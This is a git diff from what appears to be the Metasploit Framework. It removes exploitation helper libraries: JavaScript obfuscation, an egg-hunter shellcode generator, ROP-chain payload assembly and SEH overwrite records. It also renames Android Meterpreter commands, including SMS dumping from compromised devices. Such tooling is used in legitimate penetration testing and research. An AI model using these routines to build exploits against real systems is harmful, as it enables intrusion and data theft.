- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js"))
- end
-
- ::Rex::Exploitation::ObfuscateJS.obfuscate(js)
- end
-
-end
-end
-end
-end
diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb
deleted file mode 100644
index 7869efbc4f..0000000000
--- a/lib/rex/exploitation/js/network.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-# -*- coding: binary -*-
-
-require 'msf/core'
-
-module Rex
-module Exploitation
-module Js
-
-#
-# Provides networking functions in JavaScript
-#
-class Network
-
- # @param [Hash] opts the options hash
- # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
- # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
- # defaults to true.
- # @return [String] javascript code to perform a synchronous ajax request to the remote
- # and returns the response
- def self.ajax_download(opts={})
- should_obfuscate = opts.fetch(:obfuscate, true)
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
-
- if should_obfuscate
- js = ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ xmlHttp oArg }
- }
- }).obfuscate
- end
-
- xhr_shim(opts) + js
- end
-
- # @param [Hash] opts the options hash
- # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
- # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
- # defaults to true.
- # @return [String] javascript code to perform a synchronous or asynchronous ajax request to
- # the remote with the data specified.
- def self.ajax_post(opts={})
- should_obfuscate = opts.fetch(:obfuscate, true)
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
-
- if should_obfuscate
- js = ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ xmlHttp cb path data }
- }
- }).obfuscate
- end
-
- xhr_shim(opts) + js
- end
-
- # @param [Hash] opts the options hash
- # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
- # @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
- # @return [String] javascript code that adds XMLHttpRequest to the global scope if it
- # does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
- def self.xhr_shim(opts={})
- return '' unless opts.fetch(:inject_xhr_shim, true)
-
- should_obfuscate = opts.fetch(:obfuscate, true)
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
-
- if should_obfuscate
- js = ::Rex::Exploitation::ObfuscateJS.new(js,
- {
- 'Symbols' => {
- 'Variables' => %w{ activeObjs idx }
- }
- }
- ).obfuscate
- end
- js
- end
-
-end
-end
-end
-end
diff --git a/lib/rex/exploitation/js/utils.rb b/lib/rex/exploitation/js/utils.rb
deleted file mode 100644
index 45fdb216ee..0000000000
--- a/lib/rex/exploitation/js/utils.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# -*- coding: binary -*-
-
-require 'msf/core'
-require 'rex/text'
-require 'rex/exploitation/jsobfu'
-
-module Rex
-module Exploitation
-module Js
-
-#
-# Javascript utilities
-#
-class Utils
-
- def self.base64
- js = ::File.read(::File.join(Msf::Config.data_directory, "js", "utils", "base64.js"))
-
- opts = {
- 'Symbols' => {
- 'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
- input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
- 'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
- }
- }
-
- ::Rex::Exploitation::ObfuscateJS.new(js, opts).to_s
- end
-
-end
-end
-end
-end
diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb
deleted file mode 100644
index 0e7e3ae892..0000000000
--- a/lib/rex/exploitation/jsobfu.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# -*- coding: binary -*-
-
-require 'jsobfu'
-
-module Rex
-module Exploitation
-
-#
-# Simple wrapper class that makes the JSObfu functionality
-# from the gem available under the Rex namespace.
-#
-class JSObfu < ::JSObfu
-
-end
-
-end
-end
diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb
deleted file mode 100644
index 8e2cc7324d..0000000000
--- a/lib/rex/exploitation/obfuscatejs.rb
+++ /dev/null
@@ -1,336 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-module Rex
-module Exploitation
-
-#
-# Obfuscates javascript in various ways
-#
-class ObfuscateJS
- attr_reader :opts
-
- #
- # Obfuscates a javascript string.
- #
- # Options are 'Symbols', described below, and 'Strings', a boolean
- # which specifies whether strings within the javascript should be
- # mucked with (defaults to false).
- #
- # The 'Symbols' argument should have the following format:
- #
- # {
- # 'Variables' => [ 'var1', ... ],
- # 'Methods' => [ 'method1', ... ],
- # 'Namespaces' => [ 'n', ... ],
- # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ]
- # }
- #
- # Make sure you order your methods, classes, and namespaces by most
- # specific to least specific to prevent partial substitution. For
- # instance, if you have two methods (joe and joeBob), you should place
- # joeBob before joe because it is more specific and will be globally
- # replaced before joe is replaced.
- #
- # A simple example follows:
- #
- #
- # js = ObfuscateJS.new < {
- # 'Variables' => [ 'foo' ],
- # 'Methods' => [ 'say_hi' ]
- # }
- # 'Strings' => true
- # )
- #
- #
- # which should generate something like the following:
- #
- #
- # function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); }
- #
- #
- # String obfuscation tries to deal with escaped quotes within strings but
- # won't catch things like
- # "\\"
- # so be careful.
- #
- def self.obfuscate(js, opts = {})
- ObfuscateJS.new(js).obfuscate(opts)
- end
-
- #
- # Initialize an instance of the obfuscator
- #
- def initialize(js = "", opts = {})
- @js = js
- @dynsym = {}
- @opts = {
- 'Symbols' => {
- 'Variables'=>[],
- 'Methods'=>[],
- 'Namespaces'=>[],
- 'Classes'=>[]
- },
- 'Strings'=>false
- }
- @done = false
- update_opts(opts) if (opts.length > 0)
- end
-
- def update_opts(opts)
- if (opts.nil? or opts.length < 1)
- return
- end
- if (@opts['Symbols'] && opts['Symbols'])
- ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k|
- if (@opts['Symbols'][k] && opts['Symbols'][k])
- opts['Symbols'][k].each { |s|
- if (not @opts['Symbols'][k].include? s)
- @opts['Symbols'][k].push(s)
- end
- }
- elsif (opts['Symbols'][k])
- @opts['Symbols'][k] = opts['Symbols'][k]
- end
- }
- elsif opts['Symbols']
- @opts['Symbols'] = opts['Symbols']
- end
- @opts['Strings'] ||= opts['Strings']
- end
-
- #
- # Returns the dynamic symbol associated with the supplied symbol name
- #
- # If obfuscation has not yet been performed (i.e. obfuscate() has not been
- # called), then this method simply returns its argument
- #
- def sym(name)
- @dynsym[name] || name
- end
-
- #
- # Obfuscates the javascript string passed to the constructor
- #
- def obfuscate(opts = {})
- #return @js if (@done)
- @done = true
-
- update_opts(opts)
-
- if (@opts['Strings'])
- obfuscate_strings()
-
- # Full space randomization does not work for javascript -- despite
- # claims that space is irrelavent, newlines break things. Instead,
- # use only space (0x20) and tab (0x09).
-
- #@js.gsub!(/[\x09\x20]+/) { |s|
- # len = rand(50)+2
- # set = "\x09\x20"
- # buf = ''
- # while (buf.length < len)
- # buf << set[rand(set.length)].chr
- # end
- #
- # buf
- #}
- end
-
- # Remove our comments
- remove_comments
-
- # Globally replace symbols
- replace_symbols(@opts['Symbols']) if @opts['Symbols']
-
- return @js
- end
-
- #
- # Returns the replaced javascript string
- #
- def to_s
- @js
- end
- alias :to_str :to_s
-
- def <<(str)
- @js << str
- end
- def +(str)
- @js + str
- end
-
-protected
- attr_accessor :done
-
- #
- # Get rid of both single-line C++ style comments and multiline C style comments.
- #
- # Note: embedded comments (e.g.: "/*/**/*/") will break this,
- # but they also break real javascript engines so I don't care.
- #
- def remove_comments
- @js.gsub!(%r{\s+//.*$}, '')
- @js.gsub!(%r{/\*.*?\*/}m, '')
- end
-
- # Replace method, class, and namespace symbols found in the javascript
- # string
- def replace_symbols(symbols)
- taken = { }
-
- # Generate random symbol names
- [ 'Variables', 'Methods', 'Classes', 'Namespaces' ].each { |symtype|
- next if symbols[symtype].nil?
- symbols[symtype].each { |sym|
- dyn = Rex::Text.rand_text_alpha(rand(32)+1) until dyn and not taken.key?(dyn)
-
- taken[dyn] = true
-
- if symtype == 'Classes'
- full_sym = sym['Namespace'] + "." + sym['Class']
- @dynsym[full_sym] = dyn
-
- @js.gsub!(/#{full_sym}/) { |m|
- sym['Namespace'] + "." + dyn
- }
- else
- @dynsym[sym] = dyn
-
- @js.gsub!(/#{sym}/, dyn)
- end
- }
- }
- end
-
- #
- # Change each string into some javascript that will generate that string
- #
- # There are a couple of caveats to using string obfuscation:
- # * it tries to deal with escaped quotes within strings but won't catch
- # things like: "\\"
- # * depending on the random choices, this can easily balloon a short
- # string up to hundreds of kilobytes if called multiple times.
- # so be careful.
- #
- def obfuscate_strings()
- @js.gsub!(/".*?[^\\]"|'.*?[^\\]'/) { |str|
- buf = ''
- quote = str[0,1]
- # Pull the quotes off either end
- str = str[1, str.length-2]
- case (rand(2))
- # Disable hex encoding for now. It's just too big a hassle.
- #when 0
- # # This is where we can run into trouble with generating
- # # incorrect code. If we hex encode a string twice, the second
- # # encoding will generate the first instead of the original
- # # string.
- # if str =~ /\\x/
- # # Always have to remove spaces from strings so the space
- # # randomization doesn't mess with them.
- # buf = quote + str.gsub(/ /, '\x20') + quote
- # else
- # buf = '"' + Rex::Text.to_hex(str) + '"'
- # end
- when 0
- #
- # Escape sequences when naively encoded for unescape become a
- # literal backslash instead of the intended meaning. To avoid
- # that problem, we scan the string for escapes and leave them
- # unmolested.
- #
- buf << 'unescape("'
- bytes = str.unpack("C*")
- c = 0
- while bytes[c]
- if bytes[c].chr == "\\"
- # XXX This is pretty slow.
- esc_len = parse_escape(bytes, c)
- buf << bytes[c, esc_len].map{|a| a.chr}.join
- c += esc_len
- next
- end
- buf << "%%%0.2x"%(bytes[c])
- # Break the string into smaller strings
- if bytes[c+1] and rand(10) == 0
- buf << '" + "'
- end
- c += 1
- end
- buf << '")'
- when 1
- buf = "String.fromCharCode( "
- bytes = str.unpack("C*")
- c = 0
- while bytes[c]
- if bytes[c].chr == "\\"
- case bytes[c+1].chr
- # For chars that contain their non-escaped selves, step
- # past the backslash and let the rand() below decide
- # how to represent the character.
- when '"'; c += 1
- when "'"; c += 1
- when "\\"; c += 1
- # For others, just take the hex representation out of
- # laziness.
- when "n"; buf << "0x0a"; c += 2; next
- when "t"; buf << "0x09"; c += 2; next
- # Lastly, if it's a hex, unicode, or octal escape,
- # leave it, and anything after it, alone. At some
- # point we may want to parse up to the end of the
- # escapes and encode subsequent non-escape characters.
- # Since this is the lazy way to do it, spaces after an
- # escape sequence will get away unmodified. To prevent
- # the space randomizer from hosing the string, convert
- # spaces specifically.
- else
- buf = buf[0,buf.length-1] + " )"
- buf << ' + ("' + bytes[c, bytes.length].map{|a| a==0x20 ? '\x20' : a.chr}.join + '" '
- break
- end
- end
- case (rand(3))
- when 0
- buf << " %i,"%(bytes[c])
- when 1
- buf << " 0%o,"%(bytes[c])
- when 2
- buf << " 0x%0.2x,"%(bytes[c])
- end
- c += 1
- end
- # Strip off the last comma
- buf = buf[0,buf.length-1] + " )"
- end
- buf
- }
- @js
- end
-
- def parse_escape(bytes, offset)
- esc_len = 0
- if bytes[offset].chr == "\\"
- case bytes[offset+1].chr
- when "u"; esc_len = 6 # unicode \u1234
- when "x"; esc_len = 4 # hex, \x41
- when /[0-9]/ # octal, \123, \0
- oct = bytes[offset+1, 4].map{|a|a.chr}.join
- oct =~ /([0-9]+)/
- esc_len = 1 + $1.length
- else; esc_len = 2 # \" \n, etc.
- end
- end
- esc_len
- end
-end
-
-end
-end
diff --git a/lib/rex/exploitation/omelet.rb b/lib/rex/exploitation/omelet.rb
deleted file mode 100644
index 598577563e..0000000000
--- a/lib/rex/exploitation/omelet.rb
+++ /dev/null
@@ -1,321 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-require 'rex/arch'
-require 'metasm'
-
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides an interface to generating an eggs-to-omelet hunter for win/x86.
-#
-# Written by corelanc0d3r
-#
-###
-class Omelet
-
- ###
- #
- # Windows-based eggs-to-omelet hunters
- #
- ###
- module Windows
- Alias = "win"
-
- module X86
- Alias = ARCH_X86
-
- #
- # The hunter stub for win/x86.
- #
- def hunter_stub
- {
- # option hash members go here (currently unused)
- }
- end
-
- end
- end
-
- ###
- #
- # Generic interface
- #
- ###
-
- #
- # Creates a new hunter instance and acquires the sub-class that should
- # be used for generating the stub based on the supplied platform and
- # architecture.
- #
- def initialize(platform, arch = nil)
- Omelet.constants.each { |c|
- mod = self.class.const_get(c)
-
- next if ((!mod.kind_of?(::Module)) or (!mod.const_defined?('Alias')))
-
- if (platform =~ /#{mod.const_get('Alias')}/i)
- self.extend(mod)
-
- if (arch and mod)
- mod.constants.each { |a|
- amod = mod.const_get(a)
-
- next if ((!amod.kind_of?(::Module)) or
- (!amod.const_defined?('Alias')))
-
- if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
- amod = mod.const_get(a)
-
- self.extend(amod)
- end
- }
- end
- end
- }
- end
-
- #
- # This method generates an eggs-to-omelet hunter using the derived hunter stub.
- #
- def generate(payload, badchars = '', opts = {})
-
- eggsize = opts[:eggsize] || 123
- eggtag = opts[:eggtag] || "00w"
- searchforward = opts[:searchforward] || true
- reset = opts[:reset]
- startreg = opts[:startreg]
- usechecksum = opts[:checksum]
- adjust = opts[:adjust] || 0
-
- return nil if ((opts = hunter_stub) == nil)
-
- # calculate number of eggs
- payloadlen = payload.length
- delta = payloadlen / eggsize
- delta = delta * eggsize
- nr_eggs = payloadlen / eggsize
- if delta < payloadlen
- nr_eggs = nr_eggs+1
- end
-
- nr_eggs_hex = "%02x" % nr_eggs
- eggsize_hex = "%02x" % eggsize
-
- hextag = ''
- eggtag.each_byte do |thischar|
- decchar = "%02x" % thischar
- hextag = decchar + hextag
- end
- hextag = hextag + "01"
-
- # search forward or backward ?
- setflag = nil
- searchstub1 = nil
- searchstub2 = nil
- flipflagpre = ''
- flipflagpost = ''
- checksum = ''
-
- if searchforward
- # clear direction flag
- setflag = "cld"
- searchstub1 = "dec edx\n\tdec edx\n\tdec edx\n\tdec edx"
- searchstub2 = "inc edx"
- else
- # set the direction flag
- setflag = "std"
- searchstub1 = "inc edx\n\tinc edx\n\tinc edx\n\tinc edx"
- searchstub2 = "dec edx"
- flipflagpre = "cld\n\tsub esi,-8"
- flipflagpost = "std"
- end
-
- # will we have to adjust the destination address ?
- adjustdest = ''
- if adjust > 0
- adjustdest = "\n\tsub edi,#{adjust}"
- elsif adjust < 0
- adjustdest = "\n\tadd edi,#{adjust}"
- end
-
- # prepare the stub that starts the search
- startstub = ''
- if startreg
- if startreg.downcase != 'ebp'
- startstub << "mov ebp,#{startreg}"
- end
- startstub << "\n\t" if startstub.length > 0
- startstub << "mov edx,ebp"
- end
- # a register will be used as start location for the search
- startstub << "\n\t" if startstub.length > 0
- startstub << "push esp\n\tpop edi\n\tor di,0xffff"
- startstub << adjustdest
- # edx will be used, start at end of stack frame
- if not startreg
- startstub << "\n\tmov edx,edi"
- if reset
- startstub << "\n\tpush edx\n\tpop ebp"
- end
- end
-
- # reset start after each egg was found ?
- # will allow to find eggs when they are out of order/sequence
- resetstart = ''
- if reset
- resetstart = "push ebp\n\tpop edx"
- end
-
- #checksum code by dijital1 & corelanc0d3r
- if usechecksum
- checksum = < 2 do
- egg_prep = eggcnt.chr + eggtag
- this_egg = fullcode[startcode, eggsize]
- if usechecksum
- cksum = 0
- this_egg.each_byte { |b|
- cksum += b
- }
- this_egg << [cksum & 0xff].pack('C')
- end
-
- this_egg = egg_prep + this_egg
- eggs << this_egg
-
- eggcnt -= 1
- startcode += eggsize
- end
-
- return [ the_omelet, eggs ]
- end
-
-protected
-
- #
- # Stub method that is meant to be overridden. It returns the raw stub that
- # should be used as the omelet maker (combine the eggs).
- #
- def hunter_stub
- end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/opcodedb.rb b/lib/rex/exploitation/opcodedb.rb
deleted file mode 100644
index 73e3f32ba0..0000000000
--- a/lib/rex/exploitation/opcodedb.rb
+++ /dev/null
@@ -1,819 +0,0 @@
-# -*- coding: binary -*-
-require 'rexml/rexml'
-require 'rexml/source'
-require 'rexml/document'
-require 'rexml/parsers/treeparser'
-require 'rex/proto/http'
-require 'uri'
-
-module Rex
-module Exploitation
-module OpcodeDb
-
-module OpcodeResult # :nodoc:
- def initialize(hash)
- @hash = hash
- end
- attr_reader :hash
-end
-
-###
-#
-# A cachable entry.
-#
-###
-module Cachable
-
- def create(hash) # :nodoc:
- @Cache = {} unless (@Cache)
- if (hash_key(hash) and @Cache[hash_key(hash)])
- @Cache[hash_key(hash)]
- else
- @Cache[hash_key(hash)] = self.new(hash)
- end
- end
-
- def hash_key(hash) # :nodoc:
- hash['id'] || nil
- end
-
- def flush_cache # :nodoc:
- @Cache.clear
- end
-
-end
-
-###
-#
-# This class provides a general interface to items that come from that opcode
-# database that have a symbolic entry identifier and name.
-#
-###
-module DbEntry
- include OpcodeResult
-
- def initialize(hash)
- super
-
- @id = hash['id'].to_i
- @name = hash['name']
- end
-
- #
- # Fields that could possibly be filtered on for this database entry.
- #
- def filter_hash
- {
- "id" => id,
- "name" => name
- }
- end
-
- #
- # The unique server identifier.
- #
- attr_reader :id
- #
- # The unique name for this entry.
- #
- attr_reader :name
-end
-
-###
-#
-# This class represents a particular image module including its name,
-# segments, imports, exports, base address, and so on.
-#
-###
-class ImageModule
- include DbEntry
-
- ###
- #
- # This class contains information about a module-associated segment.
- #
- ###
- class Segment
- def initialize(hash)
- @type = hash['type']
- @base_address = hash['base_address'].to_i
- @size = hash['segment_size'].to_i
- @writable = hash['writable'] == "true" ? true : false
- @readable = hash['readable'] == "true" ? true : false
- @executable = hash['executable'] == "true" ? true : false
- end
-
- #
- # The type of the segment, such as ".text".
- #
- attr_reader :type
- #
- # The base address of the segment.
- #
- attr_reader :base_address
- #
- # The size of the segment in bytes.
- #
- attr_reader :size
- #
- # Boolean that indicates whether or not the segment is writable.
- #
- attr_reader :writable
- #
- # Boolean that indicates whether or not the segment is readable.
- #
- attr_reader :readable
- #
- # Boolean that indicates whether or not the segment is executable.
- #
- attr_reader :executable
- end
-
- ###
- #
- # This class contains information about a module-associated import.
- #
- ###
- class Import
- def initialize(hash)
- @name = hash['name']
- @address = hash['address'].to_i
- @ordinal = hash['ordinal'].to_i
- end
-
- #
- # The name of the imported function.
- #
- attr_reader :name
- #
- # The address of the function pointer in the IAT.
- #
- attr_reader :address
- #
- # The ordinal of the imported symbol.
- #
- attr_reader :ordinal
- end
-
- ###
- #
- # This class contains information about a module-associated export.
- #
- ###
- class Export
- def initialize(hash)
- @name = hash['name']
- @address = hash['address'].to_i
- @ordinal = hash['ordinal'].to_i
- end
-
- #
- # The name of the exported function.
- #
- attr_reader :name
- #
- # The address of the exported function.
- #
- attr_reader :address
- #
- # The ordinal of the exported symbol.
- #
- attr_reader :ordinal
- end
-
- class < eip).
-#
-###
-class Group
- include DbEntry
- class < method }
-
- opts.each_pair do |k, v|
- vars[k] = xlate_param(v)
- end
-
- client.set_config('uri_encode_mode' => 'none')
-
- # Initialize the request with the POST body.
- request = client.request_cgi(
- 'method' => 'POST',
- 'uri' => server_uri,
- 'vars_post' => vars
- )
-
- # Send the request and grab the response.
- response = client.send_recv(request, 300)
-
- # Non-200 return code?
- if (response.code != 200)
- raise RuntimeError, "Invalid response received from server."
- end
-
- # Convert the return value to the native type.
- parse_response(response.body)
- rescue ::SocketError
- raise RuntimeError, "Could not communicate with the opcode service: #{$!.class} #{$!}"
- ensure
- client.close
- end
- end
-
- #
- # Translates a parameter into a flat CGI parameter string.
- #
- def xlate_param(v)
- if (v.kind_of?(Array))
- v.map { |ent|
- xlate_param(ent)
- }.join(',,')
- elsif (v.kind_of?(Hash))
- v.map { |k,v|
- "#{URI.escape(k)}:#{xlate_param(v)}" if (v)
- }.join(',,')
- else
- URI.escape(v.to_s)
- end
- end
-
- #
- # Translate the data type from a flat string to a ruby native type.
- #
- def parse_response(xml)
- @last_xml = xml
-
- if (!@disable_parse)
- source = REXML::Source.new(xml)
- doc = REXML::Document.new
-
- REXML::Parsers::TreeParser.new(source, doc).parse
-
- translate_element(doc.root)
- end
- end
-
- #
- # Translate elements conveyed as data types.
- #
- def translate_element(element)
- case element.name
- when "Array"
- return element.elements.map { |child| translate_element(child) }
- when "Hash"
- hsh = {}
-
- element.each_element { |child|
- if (e = child.elements[1])
- v = translate_element(e)
- else
- v = child.text
- end
-
- hsh[child.attributes['name']] = v
- }
-
- return hsh
- else
- return element.text
- end
- end
-
-end
-
-end
-end
-end
diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb
deleted file mode 100644
index 5164ae2cbc..0000000000
--- a/lib/rex/exploitation/ropdb.rb
+++ /dev/null
@@ -1,190 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-require 'rexml/document'
-
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides methods to access the ROP database, in order to generate
-# a ROP-compatible payload on the fly.
-#
-###
-class RopDb
- def initialize
- @base_path = File.join(File.dirname(__FILE__), '../../../data/ropdb/')
- end
-
- public
-
-
- #
- # Returns true if a ROP chain is available, otherwise false
- #
- def has_rop?(rop_name)
- File.exist?(File.join(@base_path, "#{rop_name}.xml"))
- end
-
- #
- # Returns an array of ROP gadgets. Each gadget can either be an offset, or a value (symbol or
- # some integer). When the value is a symbol, it can be one of these: :nop, :junk, :size,
- # :unsafe_negate_size, and :safe_negate_size
- # Note if no RoP is found, it returns an empry array.
- # Arguments:
- # rop_name - name of the ROP chain.
- # opts - A hash of optional arguments:
- # 'target' - A regex string search against the compatibility list.
- # 'base' - Specify a different base for the ROP gadgets.
- #
- def select_rop(rop, opts={})
- target = opts['target'] || ''
- base = opts['base'] || nil
-
- raise RuntimeError, "#{rop} ROP chain is not available" if not has_rop?(rop)
- xml = load_rop(File.join(@base_path, "#{rop}.xml"))
-
- gadgets = []
-
- xml.elements.each("db/rop") { |e|
- name = e.attributes['name']
- next if not has_target?(e, target)
-
- if not base
- default = e.elements['gadgets'].attributes['base'].scan(/^0x([0-9a-f]+)$/i).flatten[0]
- base = default.to_i(16)
- end
-
- gadgets << parse_gadgets(e, base)
- }
- return gadgets.flatten
- end
-
-
- #
- # Returns a payload with the user-supplied stack-pivot, a ROP chain,
- # and then shellcode.
- # Arguments:
- # rop - Name of the ROP chain
- # payload - Payload in binary
- # opts - A hash of optional arguments:
- # 'nop' - Used to generate nops with generate_sled()
- # 'badchars' - Used in a junk gadget
- # 'pivot' - Stack pivot in binary
- # 'target' - A regex string search against the compatibility list.
- # 'base' - Specify a different base for the ROP gadgets.
- #
- def generate_rop_payload(rop, payload, opts={})
- nop = opts['nop'] || nil
- badchars = opts['badchars'] || ''
- pivot = opts['pivot'] || ''
- target = opts['target'] || ''
- base = opts['base'] || nil
-
- rop = select_rop(rop, {'target'=>target, 'base'=>base})
- # Replace the reserved words with actual gadgets
- rop = rop.map {|e|
- if e == :nop
- sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090
- elsif e == :junk
- Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i
- elsif e == :size
- payload.length
- elsif e == :unsafe_negate_size
- get_unsafe_size(payload.length)
- elsif e == :safe_negate_size
- get_safe_size(payload.length)
- else
- e
- end
- }.pack("V*")
-
- raise RuntimeError, "No ROP chain generated successfully" if rop.empty?
-
- return pivot + rop + payload
- end
-
- private
-
-
- #
- # Returns a size that's safe from null bytes.
- # This function will keep incrementing the value of "s" until it's safe from null bytes.
- #
- def get_safe_size(s)
- safe_size = get_unsafe_size(s)
- while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00")
- safe_size -= 1
- end
-
- safe_size
- end
-
-
- #
- # Returns a size that might contain one or more null bytes
- #
- def get_unsafe_size(s)
- 0xffffffff - s + 1
- end
-
-
- #
- # Checks if a ROP chain is compatible
- #
- def has_target?(rop, target)
- rop.elements.each('compatibility/target') { |t|
- return true if t.text =~ /#{target}/i
- }
- return false
- end
-
- #
- # Returns the database in XML
- #
- def load_rop(file_path)
- f = File.open(file_path, 'rb')
- xml = REXML::Document.new(f.read(f.stat.size))
- f.close
- return xml
- end
-
-
- #
- # Returns gadgets
- #
- def parse_gadgets(e, image_base)
- gadgets = []
- e.elements.each('gadgets/gadget') { |g|
- offset = g.attributes['offset']
- value = g.attributes['value']
-
- if offset
- addr = offset.scan(/^0x([0-9a-f]+)$/i).flatten[0]
- gadgets << (image_base + addr.to_i(16))
- elsif value
- case value
- when 'nop'
- gadgets << :nop
- when 'junk'
- gadgets << :junk
- when 'size'
- gadgets << :size
- when 'unsafe_negate_size'
- gadgets << :unsafe_negate_size
- when 'safe_negate_size'
- gadgets << :safe_negate_size
- else
- gadgets << value.to_i(16)
- end
- else
- raise RuntimeError, "Missing offset or value attribute in '#{name}'"
- end
- }
- return gadgets
- end
-end
-
-end
-end
\ No newline at end of file
diff --git a/lib/rex/exploitation/seh.rb b/lib/rex/exploitation/seh.rb
deleted file mode 100644
index 394937f993..0000000000
--- a/lib/rex/exploitation/seh.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-# -*- coding: binary -*-
-require 'rex/text'
-require 'rex/arch/x86'
-
-module Rex
-module Exploitation
-
-###
-#
-# This class provides methods for generating SEH registration records
-# in a dynamic and flexible fashion. The records can be generated with
-# the short jump at a random offset into the next pointer and with random
-# padding in between the handler and the attacker's payload.
-#
-###
-class Seh
-
- #
- # Creates a new instance of the class and initializes it with the supplied
- # bad character list. The space argument denotes how much room is
- # available for random padding and the NOP argument can be used to generate
- # a random NOP sled that is better than 0x90.
- #
- def initialize(badchars = nil, space = nil, nop = nil)
- self.badchars = badchars || ''
- self.space = (space && space > 121) ? 121 : space
- self.nop = nop
- end
-
- #
- # Generates an SEH record
- #
- def generate_seh_record(handler, dynamic=false)
- if (dynamic)
- generate_dynamic_seh_record(handler)
- else
- generate_static_seh_record(handler)
- end
- end
-
- #
- # Generates a fake SEH registration record with the supplied handler
- # address for the handler, and a nop generator to use when generating
- # padding inside the next pointer. The NOP generator must implement the
- # 'generate_sled' method that takes a length and a list of bad
- # characters.
- #
- def generate_dynamic_seh_record(handler)
-
- # Generate the padding up to the size specified or 121 characters
- # maximum to account for the maximum range of a short jump plus the
- # record size.
- pad = rand(space || 121)
- rsize = pad + 8
-
- # Calculate the random index into the next ptr to store the short jump
- # instruction
- jmpidx = rand(3)
-
- # Build the prefixed sled for the bytes that come before the short jump
- # instruction
- sled = (nop) ? nop.generate_sled(jmpidx, badchars) : ("\x90" * jmpidx)
-
- # Seed the record and any space after the record with random text
- record = Rex::Text.rand_text(rsize, badchars)
-
- # Build the next pointer and short jump instruction
- record[jmpidx, 2] = Rex::Arch::X86.jmp_short((rsize - jmpidx) - 2)
- record[0, jmpidx] = sled
-
- # Set the handler in the registration record
- record[4, 4] = [ handler ].pack('V')
-
- # Return the generated record to the caller
- record
- end
-
- #
- # Generates a static SEH registration record with a specific handler and
- # next pointer.
- #
- def generate_static_seh_record(handler)
- "\xeb\x06" + Rex::Text.rand_text(2, badchars) + [ handler ].pack('V')
- end
-
-protected
-
- attr_accessor :badchars, :space, :nop # :nodoc:
-
-end
-
-end
-end
diff --git a/lib/rex/post/gen.pl b/lib/rex/post/gen.pl
deleted file mode 100644
index 42a56d9a7d..0000000000
--- a/lib/rex/post/gen.pl
+++ /dev/null
@@ -1,13 +0,0 @@
-#!/usr/bin/perl
-use strict;
-
-
-foreach my $f ('atime', 'blockdev?', 'chardev?', 'ctime', 'directory?',
- 'executable?', 'executable_real?', 'file?', 'ftype', 'grpowned?',
- 'mtime', 'owned?', 'pipe?', 'readable?', 'readable_real?', 'setuid?',
- 'setgid?', 'size', 'socket?', 'sticky?', 'symlink?', 'writeable?',
- 'writeable_real?', 'zero?') {
-
- my $t = "\t";
- print "${t}def File.$f(name)\n\t${t}stat(name).$f\n${t}end\n";
-}
diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb
index fa4d1e8372..c0669e1d65 100644
--- a/lib/rex/post/meterpreter/extensions/android/android.rb
+++ b/lib/rex/post/meterpreter/extensions/android/android.rb
@@ -66,20 +66,20 @@ class Android < Extension
end
def device_shutdown(n)
- request = Packet.create_request('device_shutdown')
+ request = Packet.create_request('android_device_shutdown')
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
response = client.send_request(request)
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end
def set_audio_mode(n)
- request = Packet.create_request('set_audio_mode')
+ request = Packet.create_request('android_set_audio_mode')
request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
response = client.send_request(request)
end
def interval_collect(opts)
- request = Packet.create_request('interval_collect')
+ request = Packet.create_request('android_interval_collect')
request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
@@ -182,7 +182,7 @@ class Android < Extension
def dump_sms
sms = []
- request = Packet.create_request('dump_sms')
+ request = Packet.create_request('android_dump_sms')
response = client.send_request(request)
response.each(TLV_TYPE_SMS_GROUP) do |p|
